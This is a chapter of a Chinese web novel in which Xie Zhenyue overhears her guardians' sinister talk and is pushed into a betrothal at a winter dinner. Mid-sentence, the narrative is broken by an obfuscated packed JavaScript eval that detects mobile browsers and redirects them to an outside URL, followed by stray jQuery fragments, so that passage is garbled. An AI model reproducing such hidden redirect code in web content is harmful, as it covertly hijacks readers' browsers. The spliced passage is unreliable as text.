默认冷灰
24号文字
方正启体

50. 第 50 章

作者:秋忽晚本书字数:K更新时间:
    天色早早的暗了下来,谢枕月回去后,就和衣在床上窝着。


    这房间里,也只有一张床能供她容身。她紧紧掖着被角,仿佛这样能多一丝暖意。


    侍女来催过一次,她知道萧嵘来了,也知道徐藏锋来了。她害怕萧嵘会开口让她回去,马上要过年,他要是先开口,她找不到理由拒绝,索性先装病说头晕。


    甚至盼着萧淮能来一趟就好了,明知道他现在应该忙得招待客人脱不开身,可一想到他先前看她的神情,以及对徐漱玉的惩罚,她心里还是隐隐生出期待。


    就在这时,门上突然传来两声轻叩。


    谢枕月倏地抬眸,只见门扉上映出一道修长消瘦的轮廓。她心头一跳,慌忙坐了起来,手已经飞快地掀开被角准备下床。眼角余光往那未锁的门上扫了一眼,动作立马顿住了。


    她闷咳一声,慢慢缩回被子里,又把被角稍稍拉高,蒙住口鼻,装出刚睡醒的惺忪嗓音:“……进来吧。”


    屋里那阵窸窣的动静,岂能逃过魏照的耳朵,不用看也知道她的小动作。他斜睨了眼紧闭的门扉,牵了牵嘴角:“小姐,王爷让我来问一声,您身子可有好些?”


    这个、这个声音……笑意瞬间僵在了脸上,如同寒冬腊月被一盆冰水兜头淋下,彻骨的寒意从脚底开始蔓延全身。


    是魏照!


    那个恶鬼一般的魏照!


    谢枕月把头整个埋进被子里,憋闷的窒息非但没让她难受,反倒让她生出奇异的安全感。她蜷起身子,仿佛这样就能暂时逃避门外这个恐怖的男人。


    一声轻笑隔着房门传来,魏照几乎能想象得出来她此刻的表情。


    “属下略通医理,不如……”他作势轻推了下房门。


    “已经好了!”屋里人急声喝道,“我、我这就出来,你别进来!”


    一阵兵荒马乱的声响,魏照甚至能清晰地听到牙齿叩击的轻响。他忍不住又笑了一声,如今的谢小姐倒是格外的有趣。


    “那小姐可要快些,这院子偏僻,若是有血衣楼的余孽溜进来……”


    魏照如愿听到那叩击的声越发急促了,他心情甚好的踏着积雪缓缓步出院子。


    谢枕月浑身血液仿佛凝结,就这样直挺挺地站在床上,直到听见远去的脚步声,心弦一松,眼泪瞬间就下来了。


    她知道魏照在吓唬她,就像猫逗弄老鼠一般。虽不知道她有什么用,但就是知道他们现在还不会杀她。可是她就是控制不住,眼泪流个没完,手抖得怎么也擦不干净。


    可她却不敢再耽搁,眼泪和着风雪,被寒风冻在了脸上。


    这个时候,应该要开饭了,暖阁在西侧。雪天路滑,谢枕月却毫不犹豫地选了假山林立,竹丛茂盛的小道。


    这条路覆着积雪,没有明显的脚印,她宁愿被沾湿衣衫,宁愿摔倒也不愿意冒一丝碰上魏照的风险,万一他没走远,万一在前头等着她怎么办……


    她很难控制住自己不会尖叫出声。


    头发上,衣袖,肩上都不可避免的沾了雪水,原本一刻钟能到的路程,她走了小半个时辰,只要低头钻过最后一处假山,前面就是了。


    正在这时,她听到一道不甚清晰的说话声,是徐藏锋。


    “此事从不假他人之手,若说有问题……”他顿了一下,“只能是出在原料上。”


    谢枕月没听明白,那个仿佛得道高人一般的徐藏锋,他此刻与谁,需要躲在此处闲话?


    “或许是时间耽搁太久?”萧嵘的声音恰在此时响起,“加之那日天气炎热……”


    一阵寒意从脊背而起,直冲天灵盖。谢枕月心神巨震。别人或许听不懂,她却知道……他们在说什么!


    他们说的原料……她立即捂住口鼻,死死咬着牙关,紧压下胃部翻滚的恶心之感。


    徐藏锋叹气道:“也有可能,之前从没发生过这样的事情,此次回去,我再仔细排查到底是何处出了问题,不知她的病……”


    “一次两次的失败不打紧,此前也有过,”萧嵘接着道,“老五的心性……此事绝不能让他察觉,我……”


    “咔嚓……!”


    谢枕月只觉得脑袋一阵天旋地转,双脚一软,竟是直不起身子直接跪在了雪地上,发出一声清脆的响声。


    “谁在那儿?”萧嵘与徐藏锋对视一眼,眉头紧蹙,立即转身绕过假山,不管是谁都好,只要不是老五!


    谢枕月大口大口急速喘气。事情到了完全撕破脸的地步,她一旦被他们抓回去,就算死不了,也是生不如死的存在。


    她抬眼望向不远处的暖阁,这个时候大喊大叫会有用吗?


    恰在此时身后伸出一双手。


    “爹,伯父。”萧云夕握着她的手臂,手上稍稍用力,“怎么到了此处,让我与枕月一顿好找。”说完不忘低头把人扶了起来,“许久不见,瞧她,这么大的人了还能摔倒?”


    谢枕月神情呆滞,低头就着萧云夕的手缓缓起身。


    徐藏锋审视的目光扫过两人,萧云夕与谢枕月是什么时候来的?她们听到了吗?


    他把视线转向萧嵘,萧嵘微不可查的冲他缓缓摇头。既然萧云夕是他的女儿,他既说没问题,那……徐藏锋心下虽有疑虑,但脸上还是挂起了笑。


    “是你们啊,枕月你们是什么时候来的?”


    被点名的谢枕月嘴唇哆嗦,喉咙不自觉开始吞咽口水,到了此时才发觉自己实在修炼不到家。此刻连说话,甚至抬头看一眼的勇气都没有,深怕一出口,颤抖的嗓音就泄露了她的情绪。


    “雪大风寒,你们怎么出来这么久还没回来,”霍子渊抬手挡了下吹过来的大片雪花,看看这个又看看那个,“望舒自己不来,倒让我这个客人出来挨冷受冻,你们再不来,菜都要凉了。”


    凝滞的气氛骤然一松。


    萧嵘哈哈一笑,上前道:“子渊怎么能算客人,是我们的不是,快来,快来!”他招呼众人进屋。


    谢枕月落在最后头,目光不时扫过萧云夕。


    刚才的话,不知她有没有听到,或者听到也不知深意?


    再是……霍子渊?


    他来医庐已经有好些时日,谢枕月却是第一次见到此人。在这之前,她一直以为他是个瘸子。


    她忍不住抬眼,又看了他一眼。只见那人姿态风流洒脱,一双眼睛眉目含情,看人时深情款款。要不是知道他是霍子渊,她还以为是哪来的浪荡登徒子。


    可是刚才他……的话,是在替她解围吗?谢枕月没什么证据,但就是有这种强烈的感觉。


    ……


    谢枕月慢吞吞落在最后头,迈进暖阁时,只觉得里头暖烘烘的,闷得人透不过气。人来得很齐,连下午离去的温蘅也被请了回来。


    徐藏锋见她进来,立即朝垂首不语的徐漱玉沉声道:“你做下的糊涂事,幸而未酿成大祸。还不快向枕月赔不是?”


    徐漱玉不情不愿地起身,眼皮也没抬一下,声音干巴巴地飘出来:“是我不对,请你……原谅。”她说得毫无诚意,既没称呼也没动作,但在场无人挑她的不是。


    萧嵘已经开口打圆场了:“罚也罚过,枕月不会计较。”


    谢枕月听着这虚伪至极的客套,胸口阵阵发闷,连勉强扯动嘴角都做不到,只余下难以忍受的恶心。


    谁能想到这副仙风道骨的皮囊之下,藏着这样恶心的嘴脸。她之前……差一点,就差一点就要向他求助了!


    视线缓缓扫过在座众人。除了一个来历不明的霍子渊,这里个个沾亲带故,打断骨头连着筋。


    就连萧淮……她的目光最终落在他身上。只见他微微侧身,正与温蘅低声说着什么。温蘅轻轻点头,耳根泛起极淡的绯色。刚才心中那点可笑的期盼,此刻尽数化作了讽刺。


    她还是太把自己当一回事了。


    此刻此刻,她哪有说不的资格?


    眼眶不受控制地发热,她死死掐住掌心,用尽力气让声音听起来平静:“既然事情已经过去,便……不必再提了。”


    在她低头的那一霎,萧淮的眉头微不可查地蹙紧,目光在她微颤的眼皮上停留了一瞬。


    温蘅立时看了他一眼。刚才萧嵘提议让他们先成亲,接着再折吉日办萧云夕的喜事。总不好让侄女的亲事赶在叔叔的前头。


    温蘅在得知萧嵘来的时候已经派人回去送信,她虽没有寻常女子的扭捏,但这种事情,还是交由她父亲来比较好。


    她见萧淮走神,又重复了一遍:“我父亲……后日便到了。”可身旁的人仿佛没听见般,毫无反应。她下意识抬眼,顺着萧淮的视线望去。


    只见谢枕月低着头,单是这样不说话的坐着就让人移不开眼。而萧淮的目光,正毫不避讳地落在她身上。


    温蘅的笑意凝在脸上,恰在这时,萧凌风起身站了出来。


    “外头流言虽暂时平息,却也只能止住明面上的议论,徐小姐倒是心大,做了这样的事,还能心安理得……”


    此言一出,徐漱玉又挨了徐藏锋一通训斥,依旧是萧嵘出言制止。


    “凌风,事情既已过去,枕月也说不计较,便不必再揪着不放。”


    萧凌风不知为何一向护短的大伯这次会这样偏袒徐漱玉,他的视线如同利刃,寸寸剐过徐漱玉。要不是碍于两家的情分,就凭她的所作所为,他定要以其人之道还治其人之身,让她也尝尝恶闻缠身的滋味。


    萧嵘道:“我知道你待枕月的真心,这次趁着两家的喜事,不如也将你们的一同定下,既能堵住好事者的嘴,也算全


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962060|184689||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了你的一片心。”


    萧凌风被他的话惊到,半晌忘了反应,直到看见大伯询问起了枕月的意见,他才后知后觉的问道:“您是说、是说定下我与枕月的?”


    萧嵘缓缓点头,将目光落在谢枕月身上:“枕月既不反对,这事就这般定下了。”


    这话一出,徐藏锋立即笑了起来,“那我便先恭喜萧兄三喜临门。”


    萧凌风手脚僵硬,揉了揉耳朵,怀疑自己是不是在做梦,甚至伸手重重掐了下大腿。他疼得浑身一颤,才敢相信这一切是真的。


    他原本已经做好了抗争到底的决心,却没想到这事会被大伯主动提起,而且……五叔低着头,也不像要反对的样子。


    话音落下,徐漱玉与温蘅的目光不约而同地望向了谢枕月。


    除了一旁悠闲自得的霍子渊,饶有兴味地用着佳肴,暖阁内的气氛变得有些微妙,透着一股虚伪的热络。


    萧嵘甚至笑着转向徐藏锋,商量起可能的吉日。萧云夕面上没有半点女儿家的羞赧,坦然得仿佛在谈论别人的事:“爹,五叔是长辈,他的婚事自然该在先。”她说着,朝温蘅投去一抹意味深长的浅笑,“我这做侄女的,还想喝上两杯喜酒再出门呢。”


    徐藏锋笑道:“我还盼着早日和云夕成为一家人呢。”


    萧嵘无奈摇头,语气里带着宠溺的责备:“你这孩子,哪有半点姑娘家的矜持?温小姐往后可是你的长辈了,不可无礼。”他转向萧淮,笑意未减,“老五,你们看这……”


    话未说完,只听一声极细微的脆响。


    萧淮手中那只酒杯竟应声裂开一道细纹。他恍然惊觉失态,手指一松,杯子倾斜着落在桌上,发出“啪”地一声脆响,酒液顺着桌沿,滴滴答答地淌在了他的衣袍上。


    他盼着她拒绝,或者……哪怕看他一眼也好。


    可是什么都没有。


    她低着头,默认了。


    她竟默认了亲事!


    萧淮霍然起身,“我去更衣,片刻就回。”今时今日,他再不能像上次一样,心无旁骛地说出那些冠冕堂皇的反对之言。


    ……


    萧淮的离开,并不影响席上的热闹的气氛。徐藏锋的目光一如既往的温和,关切的语气让人如沐春风:“枕月的脸色瞧着确实比之前好多了。”


    萧凌风仍沉浸在突如其来的喜悦里,闻言立即接过话头:“是,多亏了五叔的方子,对了,还要谢过温小姐寻来的药,日日调理,已经好上多了。”


    温蘅笑容极淡:“我不过举手之劳,当不得谢。”


    萧嵘的目光随之而来,端详了谢枕月片刻,随即颔首:“嗯,脸色是好多了,亏得老五不计前嫌,不过……”他一顿,“老五接下来有得忙了,枕月在此也有段时日。等雪停了,就随我一起,回王府住上一阵子吧。”


    谢枕月身形一僵,不等她接话。


    徐藏锋笑着摇头:“如此倒是正好,”他望向萧凌风,打趣道,“你们总不能一直日日见面,这于理不合。”


    这话说完,众人都忍俊不禁,只有谢枕月如坠冰窟。席间的欢声笑语与她全无干系,她极力压制想要立即逃离的冲动。


    就在此时,有个丫头过来与徐漱玉耳语了几句,徐漱玉面上难掩惊讶之色,但随即起身:“爹,我去去就来。”


    徐藏锋看着空出来的两个位置,他轻叹口气,微微颔首。去作个了断也好。


    谢枕月的视线追着徐漱玉的身影,她的脸上没有半点笑容。她知道萧嵘绝不可能让她真的嫁给萧凌风,但没想过会想出这样的借口逼她回去。


    刚才进门时她看见魏照守着,眼下正是好机会。


    “我去去就来。”她匆忙与一旁的萧凌风交代了一句,急急起身。


    “你去哪?”萧凌风回头看她,突如其来的喜悦让他脑子发懵,一时竟没注意她闪躲的神色,“要我陪你一起吗?”


    “不用了。”谢枕月随口应着,快步出了暖阁。


    “小姐要去哪?”魏照一双眼睛盯在她身上,似笑非笑的打量着。


    “徐小姐约我单独见面,魏大人要一起来吗?”谢枕月指甲深深掐进手心,其实她不知是谁找徐漱玉,也不知徐漱玉往哪个方向去了。


    她赌徐藏锋与萧嵘还有最后一丝人性。纵使内里腐烂不堪,至少在后辈子女面前,总要维系最后那层道貌岸然的皮囊。


    好在她赌赢了,魏照听她这么说,只是远远看着,没有任何动作。


    谢枕月开始还能勉强维持镇定走上几步,后面直接踉踉跄跄扑在了雪地上,身后是一声不轻不重的嗤笑。


    她机械地起身,拍掉身上的积雪,僵硬地一步步往前走着。直到确定脱离他的视线,一把撩起裙摆,没命的向栈道上狂奔而去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)